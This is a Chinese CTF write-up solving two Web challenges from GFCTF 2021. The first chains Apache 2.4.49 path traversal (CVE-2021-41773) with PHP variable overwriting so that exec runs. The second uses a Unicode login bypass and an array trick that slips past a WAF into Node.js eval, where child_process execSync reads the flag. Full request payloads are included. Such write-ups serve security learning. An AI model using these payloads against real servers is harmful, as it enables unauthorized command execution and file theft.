WP篇之解析2021 GFCTF中的两道Web

解析2021 GFCTF中的两道Web

上周天我们学校的校赛GFCTF(SWPUCTF)12th顺利举行,我觉得其中的两道Web题都挺有意思的,也是唯一有解的两道Web题,接下来就来聊聊这两道Web题,如果有想复现的师傅可以加qq来私聊找我要哈

1.Baby_web

这道题考的是一个Apache 2.4.49的一个目录穿越的cve漏洞,利用这个漏洞看到源码然后代码审计

进去之后提示都在注释中:

image.png

告诉我们源码在上层目录中,要我们想办法去看上层目录,我们知道网页根目录是/var/www/html,那么它的上层目录就是/var/www了,但正常情况下我们肯定是看不到上一层的,这时候我们先抓个包:

image.png

看到Apache的版本号是2.4.49,相信很多小伙伴已经意识到前段时间爆出来的CVE-2021-41773了,就是说这个版本的Apache存在目录穿越漏洞,我们可以利用这个漏洞去获取源码,具体大家可以自行百度,这里只放出一张很有意思的图,就是用这种方法目录穿越

image.png

然后得到源码,index.php

1
2
3
4
5
6
7
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);//入口
$temp->display($_GET['filename']);//进入display函数,后续进行文件包含
?>

Class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){

$this->date = array_merge($this->date,$data); //把一个或多个数组合并为一个数组
}
public function getTempName($template,$dir){
if($dir === 'admin'){ //需要进入这一层
$this->template = str_replace('..','','./template/admin/'.$template);//此目录下的任意文件
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){

extract($this->date);//变量覆盖 将date数组覆盖掉
$this->getTempName($template,$space);//让$template为index.html $space为admin
include($this->template);//包含文件 需要包含./template/admin/index.html
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];

$param = $where = [];

$_params = trim($_params); //去掉数组前后的空格

$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) { //以空格为分隔符将字符串分割为数组
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) { //遍历新生成的数组
$var = substr($t, 0, strpos($t, '=')); //var 为等号 前 的内容
$val = substr($t, strpos($t, '=') + 1);//val 为等号 后 的内容
if (!$var) {
continue;
}
if (isset($system[$var])) { //存在$system[$var]就重新赋值
$system[$var] = $val;
} else {
$param[$var] = $val; //不存在就放在$param这个数组里
}
}
// action
switch ($system['action']) {

case 'function':

if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}

$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) { //判断键名是否以param开头
$n = intval(substr($var, 5)); //intval()处理字符串直接返回0
$p[$n] = $t; //--------->可以有 $p[0]=$t
}
}
if ($p) {

$rt = call_user_func_array($param['name'], $p); //利用点
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}

/template/admin/index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>后台</title>
</head>
<body>
<!--<img src="<?php echo $img;?>">-->
<div><?php echo $this->listdata("action=list module=$mod");//$mod参数可控,用这里调用listdata
?><div>
<h6>version: <?php echo $version;?></h6>
</body>
</html>

接下来就是代码审计工作了,慢慢审,理清它之间的逻辑,一切比较重要的地方我都在代码上做了注释,其实整个代码逻辑是非常清晰的:

GET -> display -> getTempName -> include

POST-> array_merge -> extract -> 由于有include,通过$mod进入listdata -> 变量覆盖生成新数组 -> switch -> call_user_func_array

所以说payload如下:

1
2
?filename=index.html
space=admin&mod=1 action=function name=phpinfo

发现在disable_function中禁掉了很多命令执行的函数,但漏掉了exec,所以说直接用exec将flag带出来就行

1
2
?filename=index.html
space=admin&mod=1 action=function name=exec param1=cat${IFS}/f*>/var/www/html/1

然后访问1就好了

2.ez_calc

一道很有意思的一道nodejs的题,也是我第一次接触nodejs,nodejs的语法和js好像,从中学到了挺多东西的

首先是一个登录框,提示不要爆破,首先查看页面源码

image.png

1
2
3
if(req.body.username.toLowerCase() !== 'admin' 
&& req.body.username.toUpperCase() === 'ADMIN'
&& req.body.passwd === 'admin123'){ // 登录成功,设置 session

可以看到密码为admin123,账户名小写后不能为admin,大写之后为ADMIN,看似永远为假的判断,绕过它却很简单,绕过这个的办法就是利用特殊字符,比如通过Character.toUpperCose()后,ı会为I,但它经过Charocter.toLowerCose()后并不是i,所以说账户名为admın,登录成功,登录之后继续查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
flag = true;
calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
}
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
calc = calc.replace("x", "");
}

try {
result = eval(calc);

}

对于我这种代码能力比较差的人,审计这种代码是真挺头疼的,只有慢慢看;首先看最后有一个eval,应该是可以命令执行,但是它做了很多的过滤,正常rce的话肯定会触发waf,我们只有先看看它这个waf的逻辑,看看有没有绕过它的方法;首先它通过split会对输入的参数的每一位都会进行检查,如果出现了/(flc'\".中的任意字符,就会将后面所有的字符都变成*,然后会将处理后的这个字符串进行截取操作,取前64位,在去除了空格,过滤了危险字符之后,传入eval中,看似非常完美的过滤,肯定是无法传入字符串了,但它忽略了一个问题就是,假如我们传入的不是字符串呢?我们知道在PHP数组有很多神奇的操作可以绕过过滤,其实这里也可以尝试数组的,假如我们尝试传入数组["aaaaa","bbbbb",ccccc],这样calc[i]就不再是单个的字符,而变成了一个字符串了;那么calc.length也就是数组中元素的个数,也就是3了;如果传入["aaaaa","bbbbb","(",]的话,那么按照这道题的逻辑,它在第3位发现了危险字符,那么就会将第三位以后的字符都替换成*,也就是处理成:aaa***********,而在数组中添加元素可以用calc[]=aaaaa&calc[]=bbbbb&calc[]=ccccc这种方式进行

那么假如说我们要让这个数组中的第一个五位字符的元素逃逸出来,我们就需要让数组的第五个元素中出现敏感字符,这样的话它就会让第五位以后的字符全变成*,而前五位字符就正常了;比如说像["a(aaa","bbb","ccc","ddd","("],我们看看处理后它会变成什么样:

image.png

可以看到虽然说第一个元素中已经有了敏感元素(,但它还是被逃逸了出来,后续不触发waf的元素多了没有影响,所以说用这种方法就可以直接把我们要想要的字符串逃逸出来了,关于这个知识点可以去y1ng师傅的博客中深入学习:<颖奇L’Amore>

接下来我们就开始尝试构造rcepayload了,先来一个ls /payload如下:

1
calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

image.png

发现flag的名字很长,直接读取的话长度不够,而且这里过滤了x,也无法直接利用exec,但是实际上这里是可以绕过的,因为我们通过require导入的模块是一个Object,那么就可以通过Object.values获取到child_process里面的各种方法,那么再通过数组下标[5]就可以得到execSync了,那么有了execSync后就可以通过写入文件的方式读取flag了,payload如下:

1
calc[]=Object.values(require('child_process'))[5]('cat${IFS}/G*>p')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

遍历一下当前目录发现p已经成功写入,接下来读取p就行了,记得带上回显,用nl读就行:

1
calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

image.png

总结

到这儿这两道Web题的分析就写完了,都挺有意思的,还有一道文件查看器难度会稍微大一点,比赛的时候是零解,那道题涉及到的知识点更有意思,快期末考试了,等过段时间再来和大家分享哈哈哈